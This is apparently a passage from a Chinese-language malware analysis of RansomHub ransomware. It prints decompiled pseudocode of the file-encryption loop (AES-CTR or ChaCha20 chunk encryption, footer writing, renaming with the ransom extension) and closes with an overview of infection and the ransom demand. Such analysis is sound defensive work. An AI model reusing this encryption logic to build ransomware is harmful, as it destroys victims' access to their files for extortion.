fwrite(ptr, 1uLL, 0x7AuLL, v8);
fseek(v8, 0LL, 0);
根据刚刚返回的值决定加密的字节数
v20 = v14 + 0x100000;
v21 = (v20 + st_size - 1) / v20;
if ( v21 )
{
v15 = 0LL;
for ( i = 0LL; i < v21; ++i )
{
fseek(v8, v15, 0);
v17 = fread(v11, 1uLL, 0x100000uLL, v8);
v18 = v17;
if ( !v17 )
break;
if ( *(_WORD *)&ptr[32] == 1 )
sub_418793((__int64)v11, (__int64)v11, (unsigned int)v17, (__int64)&v33, (__int64)v24);
else
sub_40E392(v23, (__int64)v11, v17);
fseek(v8, -(__int64)v18, 1);
fwrite(v11, 1uLL, v18, v8);
++*(_QWORD *)&ptr[74];
fseek(v8, st_size, 0);
fwrite(ptr, 1uLL, 0x7AuLL, v8);
v15 += v20;
}
}
如果加密是常规模式,则进入aes ctr加密
如果是快速模式,则进入chacha20加密
加密完后重命名文件
void __fastcall encrypt_file_task(char *ptr)
{
__mode_t st_mode; // esi
char v2[4112]; // [rsp+0h] [rbp-10B8h] BYREF
struct stat stat_buf; // [rsp+1010h] [rbp-A8h] BYREF
if ( running )
{
if ( (unsigned int)sub_418CEB(ptr, master_public_key, encrypt_fast_mode) == 1 )
{
memset(v2, 0, 4097);
strcpy(v2, ptr);
strcat(v2, *((const char **)&config + 1));
unlink(v2);
if ( !rename(ptr, v2) && !__xstat(1, v2, &stat_buf) )
{
st_mode = stat_buf.st_mode;
LOBYTE(st_mode) = stat_buf.st_mode & 0x7F;
chmod(v2, st_mode);
}
}
free(ptr);
}
else
{
free(ptr);
}
}
5.病毒分析概览
Ransomhub是一种勒索病毒,采用AES-CTR加密算法加密文件,并使用RSA公钥加密AES密钥。它通常通过恶意邮件附件、广告或系统漏洞传播。感染后,Ransomhub会加密目标文件并更改文件扩展名为“.f910ba”。在受害者的桌面上,病毒会生成一份勒索信,要求受害者支付比特币作为赎金,才能解锁文件。若未支付赎金,文件将无法恢复。病毒的加密方式结合了对称加密和非对称加密,增加了恢复的难度。